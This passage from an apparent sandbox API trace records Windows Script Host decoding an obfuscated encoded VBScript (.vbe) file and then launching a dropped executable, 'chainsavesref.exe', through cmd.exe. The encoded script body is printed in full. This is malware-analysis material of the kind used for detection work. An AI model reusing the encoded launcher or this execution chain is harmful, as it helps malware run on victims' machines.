Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x24f0f0, lpdwDisposition=0x0 | out: phkResult=0x24f0f0*=0xa0, lpdwDisposition=0x0) returned 0x0 [0082.528] RegQueryValueExW (in: hKey=0xa0, lpValueName="Timeout", lpReserved=0x0, lpType=0x24f0b4, lpData=0x24f0e4, lpcbData=0x24f0bc*=0x4 | out: lpType=0x24f0b4*=0x0, lpData=0x24f0e4*=0x2c, lpcbData=0x24f0bc*=0x4) returned 0x2 [0082.528] RegQueryValueExW (in: hKey=0xa0, lpValueName="DisplayLogo", lpReserved=0x0, lpType=0x24e4bc, lpData=0x24e4c0, lpcbData=0x24e4b8*=0x400 | out: lpType=0x24e4bc*=0x0, lpData=0x24e4c0*=0x31, lpcbData=0x24e4b8*=0x400) returned 0x2 [0082.528] RegCloseKey (hKey=0xa0) returned 0x0 [0082.528] lstrlenW (lpString="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe") returned 52 [0082.528] lstrlenW (lpString="vbe") returned 3 [0082.528] lstrlenW (lpString="WSH") returned 3 [0082.528] ??2@YAPAXI@Z () returned 0x2f13a0 [0082.528] memcpy (in: _Dst=0x24ec70, _Src=0x24f6c0, _Size=0x26 | out: _Dst=0x24ec70) returned 0x24ec70 [0082.528] LoadStringW (in: hInstance=0x6d0000, uID=0x9c5, lpBuffer=0x24d440, cchBufferMax=2048 | out: lpBuffer="Windows Script Host") returned 0x13 [0082.528] LoadTypeLib (in: szFile="C:\\Windows\\SysWOW64\\WScript.exe", pptlib=0x24ec68*=0x0 | out: pptlib=0x24ec68*=0x490410) returned 0x0 [0082.540] ITypeLib:GetTypeInfoOfGuid (in: This=0x490410, GUID=0x6d1acc*(Data1=0x91afbd1b, Data2=0x5feb, Data3=0x43f5, Data4=([0]=0xb0, [1]=0x28, [2]=0xe2, [3]=0xca, [4]=0x96, [5]=0x6, [6]=0x17, [7]=0xec)), ppTInfo=0x24ec50 | out: ppTInfo=0x24ec50*=0x4914a4) returned 0x0 [0082.814] ITypeInfo:GetRefTypeOfImplType (in: This=0x4914a4, index=0xffffffff, pRefType=0x24ec44 | out: pRefType=0x24ec44*=0xfffffffe) returned 0x0 [0082.815] ITypeInfo:GetRefTypeInfo (in: This=0x4914a4, hreftype=0xfffffffe, ppTInfo=0x6e9060 | out: ppTInfo=0x6e9060*=0x4914d0) returned 0x0 [0082.815] IUnknown:Release (This=0x4914a4) returned 0x1 [0082.815] ??2@YAPAXI@Z () returned 0x2f13f0 [0082.815] ??2@YAPAXI@Z () returned 0x2f1448 [0082.815] ??2@YAPAXI@Z () returned 0x2f1480 [0082.815] ITypeLib:GetTypeInfoOfGuid (in: This=0x490410, GUID=0x6d3c7c*(Data1=0x2cc5a9d0, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec40 | out: ppTInfo=0x24ec40*=0x4914fc) returned 0x0 [0082.815] ITypeInfo:GetRefTypeOfImplType (in: This=0x4914fc, index=0xffffffff, pRefType=0x24ec34 | out: pRefType=0x24ec34*=0xfffffffe) returned 0x0 [0082.815] ITypeInfo:GetRefTypeInfo (in: This=0x4914fc, hreftype=0xfffffffe, ppTInfo=0x6e90a0 | out: ppTInfo=0x6e90a0*=0x491528) returned 0x0 [0082.815] IUnknown:Release (This=0x4914fc) returned 0x1 [0082.815] ITypeLib:GetTypeInfoOfGuid (in: This=0x490410, GUID=0x6d3c8c*(Data1=0xbf64faf0, Data2=0x5906, Data3=0x426c, Data4=([0]=0xb4, [1]=0xbc, [2]=0x7b, [3]=0x75, [4]=0x3c, [5]=0xbe, [6]=0x81, [7]=0x9f)), ppTInfo=0x24ec40 | out: ppTInfo=0x24ec40*=0x491554) returned 0x0 [0082.815] ITypeInfo:GetRefTypeOfImplType (in: This=0x491554, index=0xffffffff, pRefType=0x24ec34 | out: pRefType=0x24ec34*=0xfffffffe) returned 0x0 [0082.815] ITypeInfo:GetRefTypeInfo (in: This=0x491554, hreftype=0xfffffffe, ppTInfo=0x6e90c0 | out: ppTInfo=0x6e90c0*=0x491580) returned 0x0 [0082.815] IUnknown:Release (This=0x491554) returned 0x1 [0082.815] ITypeLib:GetTypeInfoOfGuid (in: This=0x490410, GUID=0x6d1cac*(Data1=0x2cc5a9d1, Data2=0xb1e5, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x86, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x24ec40 | out: ppTInfo=0x24ec40*=0x4915ac) returned 0x0 [0082.816] ITypeInfo:GetRefTypeOfImplType (in: This=0x4915ac, index=0xffffffff, pRefType=0x24ec34 | out: pRefType=0x24ec34*=0xfffffffe) returned 0x0 [0082.816] ITypeInfo:GetRefTypeInfo (in: This=0x4915ac, hreftype=0xfffffffe, ppTInfo=0x6e9080 | out: ppTInfo=0x6e9080*=0x4915d8) returned 0x0 [0082.816] IUnknown:Release (This=0x4915ac) returned 0x1 [0082.816] IUnknown:Release (This=0x490410) returned 0x4 [0082.816] ??2@YAPAXI@Z () returned 0x2f14b0 [0082.816] GetCurrentThreadId () returned 0xe20 [0082.816] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0082.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x6d2f25, lpParameter=0x2f14b0, dwCreationFlags=0x0, lpThreadId=0x2f14c4 | out: lpThreadId=0x2f14c4*=0xe28) returned 0xf8 [0082.817] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x24ee68*=0xf0, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0082.829] CloseHandle (hObject=0xf0) returned 1 [0082.829] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe", nBufferLength=0x104, lpBuffer=0x24eec8, lpFilePart=0x24eeb4 | out: lpBuffer="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe", lpFilePart=0x24eeb4*="et1pu6VAlkUOY7GuC90A.vbe") returned 0x34 [0082.829] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".vbe", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e45c | out: phkResult=0x24e45c*=0x10a) returned 0x0 [0082.829] RegQueryValueExW (in: hKey=0x10a, lpValueName=0x0, lpReserved=0x0, lpType=0x24e424, lpData=0x24e460, lpcbData=0x24e428*=0x800 | out: lpType=0x24e424*=0x1, lpData="VBEFile", lpcbData=0x24e428*=0x10) returned 0x0 [0082.829] RegCloseKey (hKey=0x10a) returned 0x0 [0082.830] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey="VBEFile\\ScriptEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24e45c | out: phkResult=0x24e45c*=0x10a) returned 0x0 [0082.830] RegQueryValueExW (in: hKey=0x10a, lpValueName=0x0, lpReserved=0x0, lpType=0x24e424, lpData=0x24ec98, lpcbData=0x24e428*=0x200 | out: lpType=0x24e424*=0x1, lpData="VBScript.Encode", lpcbData=0x24e428*=0x20) returned 0x0 [0082.830] RegCloseKey (hKey=0x10a) returned 0x0 [0082.830] ??2@YAPAXI@Z () returned 0x2f29a0 [0082.830] GetProcessHeap () returned 0x470000 [0082.830] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x2000) returned 0x495828 [0082.830] CLSIDFromString (in: lpsz="VBScript.Encode", pclsid=0x24ec68 | out: pclsid=0x24ec68*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8))) returned 0x0 [0082.831] CoCreateInstance (in: rclsid=0x24ec68*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x6d1aa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ec64 | out: ppv=0x24ec64*=0x2f2b50) returned 0x0 [0083.235] malloc (_Size=0x80) returned 0x2f2a88 [0083.235] __dllonexit () returned 0x749d7164 [0083.235] __dllonexit () returned 0x749d717e [0083.235] __dllonexit () returned 0x749d7198 [0083.235] GetUserDefaultLCID () returned 0x409 [0083.235] GetVersion () returned 0x1db10106 [0083.236] DllGetClassObject (in: rclsid=0x499084*(Data1=0xb54f3743, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x7578ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24df54 | out: ppv=0x24df54*=0x2f2b10) returned 0x0 [0083.237] ??2@YAPAXI@Z () returned 0x2f2b10 [0083.237] VBScriptEncode:IClassFactory:CreateInstance (in: This=0x2f2b10, pUnkOuter=0x0, riid=0x24e900*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24df40 | out: ppvObject=0x24df40*=0x2f2b50) returned 0x0 [0083.237] ??2@YAPAXI@Z () returned 0x2f2b50 [0083.238] GetUserDefaultLCID () returned 0x409 [0083.238] GetACP () returned 0x4e4 [0083.238] VBScriptEncode:IUnknown:AddRef (This=0x2f2b50) returned 0x2 [0083.238] VBScriptEncode:IUnknown:Release (This=0x2f2b50) returned 0x1 [0083.238] VBScriptEncode:IUnknown:Release (This=0x2f2b10) returned 0x0 [0083.238] ??3@YAXPAX@Z () returned 0x1 [0083.238] VBScriptEncode:IUnknown:QueryInterface (in: This=0x2f2b50, riid=0x6d1aa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x24ec2c | out: ppvObject=0x24ec2c*=0x2f2b50) returned 0x0 [0083.238] VBScriptEncode:IUnknown:Release (This=0x2f2b50) returned 0x1 [0083.238] GetCurrentThreadId () returned 0xe20 [0083.238] ??2@YAPAXI@Z () returned 0x2f2d58 [0083.238] GetCurrentThreadId () returned 0xe20 [0083.238] ??2@YAPAXI@Z () returned 0x2f14d8 [0083.238] ??2@YAPAXI@Z () returned 0x2f2b10 [0083.238] ??2@YAPAXI@Z () returned 0x2f2e18 [0083.238] ??2@YAPAXI@Z () returned 0x2f2e98 [0083.238] GetCurrentThreadId () returned 0xe20 [0083.239] ??2@YAPAXI@Z () returned 0x2f2ec0 [0083.239] GetUserDefaultLCID () returned 0x409 [0083.239] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0083.239] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x24ec1c, cchData=6 | out: lpLCData="1252") returned 5 [0083.239] IsValidCodePage (CodePage=0x4e4) returned 1 [0083.239] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75740000 [0083.240] GetProcAddress (hModule=0x75740000, lpProcName="CoCreateInstance") returned 0x75789d0b [0083.240] CoCreateInstance (in: rclsid=0x749cb234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x749cb244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2f2d2c | out: ppv=0x2f2d2c*=0x48a158) returned 0x0 [0083.240] IUnknown:AddRef (This=0x48a158) returned 0x2 [0083.240] GetCurrentProcessId () returned 0xe1c [0083.240] GetCurrentThreadId () returned 0xe20 [0083.240] GetTickCount () returned 0x1380092 [0083.240] ISystemDebugEventFire:BeginSession (This=0x48a158, guidSourceID=0x749cb308, strSessionName="VBScript:00003612:00003616:20447378") returned 0x0 [0083.240] GetCurrentThreadId () returned 0xe20 [0083.240] ??2@YAPAXI@Z () returned 0x2f2f10 [0083.240] ??2@YAPAXI@Z () returned 0x2f2f40 [0083.241] malloc (_Size=0x40) returned 0x2f2fd0 [0083.241] malloc (_Size=0x104) returned 0x2f3018 [0083.241] memcpy (in: _Dst=0x2f304c, _Src=0x489b24, _Size=0x10 | out: _Dst=0x2f304c) returned 0x2f304c [0083.241] GetCurrentThreadId () returned 0xe20 [0083.241] ??2@YAPAXI@Z () returned 0x2f3128 [0083.241] memcpy (in: _Dst=0x2f308c, _Src=0x48dcc4, _Size=0x8 | out: _Dst=0x2f308c) returned 0x2f308c [0083.241] CreateFileW (lpFileName="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x124 [0083.241] GetFileSize (in: hFile=0x124, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd [0083.242] CreateFileMappingA (hFile=0x124, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdd, lpName=0x0) returned 0x128 [0083.242] MapViewOfFile (hFileMappingObject=0x128, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x250000 [0083.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x250000, cbMultiByte=221, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 221 [0083.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x250000, cbMultiByte=221, lpWideCharStr=0x499ed4, cchWideChar=221 | out: lpWideCharStr="#@~^xAAAAA==j\x7fY~q/4?t\x7fV^~',Z.+mYn6(L+1O`r\x7f?1.rwDRUtnVsE*@#@&\x7fU^DbwO UV+n2vFT!Zb@#@&j\x7fY,\x7f/4?4nV^PxP;DnCD+r(%+1Y`r\x09jmMkaY ?4n^VE#@#@&\x7fktj4\x7fVV ]!x~J;lJmGswMW\\bN\x7f.I!xOks+^Gs:W\x09&fdSk\"X1Mt:d&X uu(oWmc8lDJS~Z~PWC^/nvT4AAA==^#~@") returned 221 [0083.243] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0083.243] CloseHandle (hObject=0x128) returned 1 [0083.243] CloseHandle (hObject=0x124) returned 1 [0083.244] GetSystemDirectoryA (in: lpBuffer=0x24ede7, uSize=0x0 | out: lpBuffer="") returned 0x14 [0083.244] ??2@YAPAXI@Z () returned 0x2f3158 [0083.244] GetSystemDirectoryA (in: lpBuffer=0x2f3158, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0083.244] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x76a60000 [0083.246] ??3@YAXPAX@Z () returned 0x1 [0083.246] GetProcAddress (hModule=0x76a60000, lpProcName="SaferIdentifyLevel") returned 0x76a82102 [0083.246] GetProcAddress (hModule=0x76a60000, lpProcName="SaferComputeTokenFromLevel") returned 0x76a83352 [0083.246] GetProcAddress (hModule=0x76a60000, lpProcName="SaferCloseLevel") returned 0x76a83825 [0083.246] IdentifyCodeAuthzLevelW () returned 0x1 [0085.849] malloc (_Size=0x80) returned 0x2f36a8 [0085.849] GetVersionExA (in: lpVersionInformation=0x24e470*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x2, dwMinorVersion=0x80, dwBuildNumber=0x76f2e026, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24e470*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0085.849] GetUserDefaultLCID () returned 0x409 [0085.850] IsFileSupportedName () returned 0x1 [0085.850] _wcsicmp (_String1=".vbs", _String2=".vbe") returned 14 [0085.850] _wcsicmp (_String1=".vbe", _String2=".vbe") returned 0 [0085.857] GetSignedDataMsg () returned 0x0 [0085.857] GetCurrentProcess () returned 0xffffffff [0085.857] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x128, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x24e99c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x24e99c*=0x154) returned 1 [0085.857] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xdd [0085.857] ??2@YAPAXI@Z () returned 0x2fe1b8 [0085.857] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0085.857] ReadFile (in: hFile=0x154, lpBuffer=0x2fe1b8, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x24e970, lpOverlapped=0x0 | out: lpBuffer=0x2fe1b8*, lpNumberOfBytesRead=0x24e970*=0xdd, lpOverlapped=0x0) returned 1 [0085.858] CoInitialize (pvReserved=0x0) returned 0x1 [0085.858] CoCreateInstance (in: rclsid=0x74991e54*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x74991d8c*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x24e948 | out: ppv=0x24e948*=0x2fe5f0) returned 0x0 [0086.170] malloc (_Size=0x80) returned 0x2fe2a0 [0086.170] __dllonexit () returned 0x74961815 [0086.170] __dllonexit () returned 0x7496182f [0086.170] GetVersionExA (in: lpVersionInformation=0x24d4d8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x24d4c8, dwMinorVersion=0x2, dwBuildNumber=0x250000, dwPlatformId=0x74964268, szCSDVersion="øÔ$") | out: lpVersionInformation=0x24d4d8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0086.170] GetProcessWindowStation () returned 0x4c [0086.170] GetUserObjectInformationA (in: hObj=0x4c, nIndex=1, pvInfo=0x24d4c8, nLength=0xc, lpnLengthNeeded=0x24d4d4 | out: pvInfo=0x24d4c8, lpnLengthNeeded=0x24d4d4) returned 1 [0086.170] ??2@YAPAXI@Z () returned 0x2fe328 [0086.171] ??2@YAPAXI@Z () returned 0x2f2b38 [0086.171] ??2@YAPAXI@Z () returned 0x2fe360 [0086.171] ??2@YAPAXI@Z () returned 0x2fe390 [0086.171] ??2@YAPAXI@Z () returned 0x2fe3c0 [0086.171] ??2@YAPAXI@Z () returned 0x2fe3f0 [0086.171] ??2@YAPAXI@Z () returned 0x2fe420 [0086.171] ??2@YAPAXI@Z () returned 0x2fe450 [0086.171] ??2@YAPAXI@Z () returned 0x2fe480 [0086.171] ??2@YAPAXI@Z () returned 0x2fe4b0 [0086.171] ??2@YAPAXI@Z () returned 0x2fe4e0 [0086.171] ??3@YAXPAX@Z () returned 0x1 [0086.171] ??2@YAPAXI@Z () returned 0x2fe508 [0086.171] ??2@YAPAXI@Z () returned 0x2fe538 [0086.171] DllGetClassObject (in: rclsid=0x4990b8*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7578ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24dc44 | out: ppv=0x24dc44*=0x2f2b38) returned 0x0 [0086.171] ??2@YAPAXI@Z () returned 0x2f2b38 [0086.172] IClassFactory:CreateInstance (in: This=0x2f2b38, pUnkOuter=0x0, riid=0x24e5f0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24dc30 | out: ppvObject=0x24dc30*=0x2fe5f0) returned 0x0 [0086.172] ??2@YAPAXI@Z () returned 0x2fe568 [0086.172] GetSystemInfo (in: lpSystemInfo=0x24db70 | out: lpSystemInfo=0x24db70*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0086.172] VirtualQuery (in: lpAddress=0x24dbb0, lpBuffer=0x24db94, dwLength=0x1c | out: lpBuffer=0x24db94*(BaseAddress=0x24d000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0086.172] ??2@YAPAXI@Z () returned 0x2f14f8 [0086.172] ??2@YAPAXI@Z () returned 0x2fe590 [0086.172] ??2@YAPAXI@Z () returned 0x2fe5c8 [0086.172] ??2@YAPAXI@Z () returned 0x2fe5e0 [0086.172] ??2@YAPAXI@Z () returned 0x2fe638 [0086.173] IUnknown:AddRef (This=0x2fe5f0) returned 0x2 [0086.173] IUnknown:Release (This=0x2fe5f0) returned 0x1 [0086.173] IUnknown:Release (This=0x2f2b38) returned 0x0 [0086.173] ??3@YAXPAX@Z () returned 0x1 [0086.173] IUnknown:QueryInterface (in: This=0x2fe5f0, riid=0x74991d8c*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24e918 | out: ppvObject=0x24e918*=0x2fe5f0) returned 0x0 [0086.173] IUnknown:Release (This=0x2fe5f0) returned 0x1 [0086.173] _strnicmp (_Str1="") returned 1 [0093.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.574] GetFileType (hFile=0x7) returned 0x2 [0093.574] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.574] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f034 | out: lpMode=0x20f034) returned 1 [0093.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.574] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f5e40*, nNumberOfCharsToWrite=0x1c, lpNumberOfCharsWritten=0x20f060, lpReserved=0x0 | out: lpBuffer=0x4a0f5e40*, lpNumberOfCharsWritten=0x20f060*=0x1c) returned 1 [0093.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.575] GetFileType (hFile=0x7) returned 0x2 [0093.575] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.575] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f2b8 | out: lpMode=0x20f2b8) returned 1 [0093.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.575] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x2e3e68*, nNumberOfCharsToWrite=0x2f, lpNumberOfCharsWritten=0x20f2e4, lpReserved=0x0 | out: lpBuffer=0x2e3e68*, lpNumberOfCharsWritten=0x20f2e4*=0x2f) returned 1 [0093.576] _vsnwprintf (in: _Buffer=0x4a104640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f310 | out: _Buffer="\r\n") returned 2 [0093.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.576] GetFileType (hFile=0x7) returned 0x2 [0093.576] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0093.576] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f2d0 | out: lpMode=0x20f2d0) returned 1 [0093.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.577] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a104640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f2fc, lpReserved=0x0 | out: lpBuffer=0x4a104640*, lpNumberOfCharsWritten=0x20f2fc*=0x2) returned 1 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="DIR") returned -66 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="ERASE") returned -67 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="DEL") returned -66 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="TYPE") returned -82 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="COPY") returned -65 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="CD") returned -65 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="CHDIR") returned -65 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="RENAME") returned -80 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="REN") returned -80 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="ECHO") returned -67 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="SET") returned -81 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="PAUSE") returned -78 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="DATE") returned -66 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="TIME") returned -82 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="PROMPT") returned -78 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="MD") returned -75 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="MKDIR") returned -75 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="RD") returned -80 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="RMDIR") returned -80 [0093.577] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="PATH") returned -78 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="GOTO") returned -69 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="SHIFT") returned -81 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="CLS") returned -65 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="CALL") returned -65 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="VERIFY") returned -84 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="VER") returned -84 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="VOL") returned -84 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="EXIT") returned -67 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="SETLOCAL") returned -81 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="ENDLOCAL") returned -67 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="TITLE") returned -82 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", _String2="START") returned -81 [0093.578] _wcsicmp (_String1="\"C:\\comproviderRuntimecommon\\chainsavesref.exe\"", 